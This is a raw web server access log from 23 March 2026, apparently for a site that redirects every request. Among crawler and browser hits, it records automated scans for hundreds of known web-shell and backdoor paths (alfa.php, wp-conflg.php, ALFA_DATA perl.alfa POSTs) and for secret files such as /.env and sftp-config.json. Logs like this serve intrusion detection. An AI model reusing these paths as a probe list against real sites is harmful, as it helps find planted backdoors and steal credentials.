"GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 36.129.140.147 - - [23/Mar/2026:09:23:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.63.190.177 - - [23/Mar/2026:09:40:13 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.168.43 - - [23/Mar/2026:09:40:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.227.49.113 - - [23/Mar/2026:10:02:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.45.155.91 - - [23/Mar/2026:09:37:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 162.62.231.139 - - [23/Mar/2026:10:24:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.233.172.103 - - [23/Mar/2026:12:46:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 64.233.172.102 - - [23/Mar/2026:12:47:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 40.69.27.251 - - [23/Mar/2026:14:25:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 35.223.77.62 - - [23/Mar/2026:14:29:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Ruby" 205.210.31.37 - - [23/Mar/2026:14:48:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 49.51.180.2 - - [23/Mar/2026:14:52:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.223.77.62 - - [23/Mar/2026:14:29:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36" 35.223.77.62 - - [23/Mar/2026:14:29:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36" 43.153.10.13 - - [23/Mar/2026:15:37:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.69.116 - - [23/Mar/2026:16:32:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 176.65.134.45 - - [23/Mar/2026:16:53:17 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 141.98.11.17 - - [23/Mar/2026:17:20:41 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 141.98.11.17 - - [23/Mar/2026:17:20:31 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 182.42.111.213 - - [23/Mar/2026:17:48:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.242.3.19 - - [23/Mar/2026:18:19:23 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 102.37.19.146 - - [23/Mar/2026:18:26:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 40.85.222.197 - - [23/Mar/2026:19:15:53 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:53 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:16:03 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:16:33 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:16:34 +0300] "GET /assets/css/index.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:13:36 +0300] "GET /h.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:13:55 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:12 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 144.172.65.31 - - [23/Mar/2026:19:44:43 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 40.85.222.197 - - [23/Mar/2026:19:13:06 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:13:21 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:58 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:11 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:19 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:32 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:50 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:04 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:37 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:12:48 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:12:56 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:13:48 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:08 +0300] "GET /sys.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:44 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 43.157.172.39 - - [23/Mar/2026:19:56:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.85.222.197 - - [23/Mar/2026:19:12:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:30 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:14:38 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:20 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:15:23 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 40.85.222.197 - - [23/Mar/2026:19:16:18 +0300] "GET /wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 49.51.243.156 - - [23/Mar/2026:20:49:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.216.188 - - [23/Mar/2026:21:24:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:25:32 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:26:28 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:34 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:58 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:02 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:07 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:10 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:13 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:04 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:30 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:30 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:41 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:58 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:05 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 103.77.106.118 - - [23/Mar/2026:20:35:19 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.43.23.11 - - [23/Mar/2026:21:23:46 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.216.188 - - [23/Mar/2026:21:25:02 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:25:46 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:26:13 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:27:54 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:42 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:25 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:04 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:16 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:16 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:17 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:32:47 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:56 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.43.23.11 - - [23/Mar/2026:21:23:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.43.23.11 - - [23/Mar/2026:21:23:46 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.43.23.11 - - [23/Mar/2026:21:23:46 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.216.188 - - [23/Mar/2026:21:30:25 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:29 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:35 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:32:32 +0300] "GET /themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:33:02 +0300] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:33:17 +0300] "GET /wp-admin/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:33:47 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 103.77.106.118 - - [23/Mar/2026:20:35:23 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.220.216.188 - - [23/Mar/2026:21:26:00 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:26:20 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:27:32 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:27:45 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:11 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:08 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:09 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:32:17 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:12 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:12 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:23 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:23 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:37 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:00 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:52 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 2.58.56.187 - - [23/Mar/2026:21:02:44 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 93.158.90.72 - - [23/Mar/2026:21:07:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 20.220.216.188 - - [23/Mar/2026:21:25:10 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:25:22 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:25:55 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:33:59 +0300] "GET /plugins/Cache/footer.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:24:53 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:26:38 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:51 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:10 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:18 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:30:56 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:38 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:14 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:17 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:25:17 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:03 +0300] "GET /lsd.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:28:26 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:29:49 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 93.158.90.67 - - [23/Mar/2026:21:07:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 20.43.23.11 - - [23/Mar/2026:21:24:06 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.216.188 - - [23/Mar/2026:21:29:38 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:31:43 +0300] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:32:06 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:33:32 +0300] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:34:50 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:35:22 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:02 +0300] "GET /security.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:27 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:04 +0300] "GET /wp-content/themes/twentytwentytwo/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:04 +0300] "GET /.well-known/log.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:40:22 +0300] "GET /ioxi-o1.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:33 +0300] "GET /520.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:51 +0300] "GET /file7.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:27 +0300] "GET /pop.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:38 +0300] "GET /xaz.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:41 +0300] "GET /up4.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:07 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:18 +0300] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:39 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:10 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:32 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:13 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:16 +0300] "GET /04.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:24 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:26 +0300] "GET /wrt.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:57 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:58 +0300] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:01 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:18 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:53 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:45:49 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 66.249.66.78 - - [23/Mar/2026:21:57:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.220.216.188 - - [23/Mar/2026:21:36:45 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:25 +0300] "GET /ww1.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:29 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:51 +0300] "GET /css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:44 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:54 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:45:25 +0300] "GET /xb.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:45:34 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:45:38 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:21 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:19 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:22 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:49 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:52 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:22 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:40:28 +0300] "GET /juuuu.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:38 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:12 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:21 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:47 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:36:52 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:56 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:40 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:23 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 138.249.54.66 - - [23/Mar/2026:21:50:43 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.216.188 - - [23/Mar/2026:21:36:25 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:11 +0300] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:40:39 +0300] "GET /ha.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:46 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:53 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:41:57 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:31 +0300] "GET /bibil.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:01 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:13 +0300] "GET /ac.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:37:45 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:38:38 +0300] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:39:49 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:40:07 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:40:53 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:42:08 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:43:46 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 20.220.216.188 - - [23/Mar/2026:21:44:08 +0300] "GET /403.php HTTP/1.1" 301 795 "-" 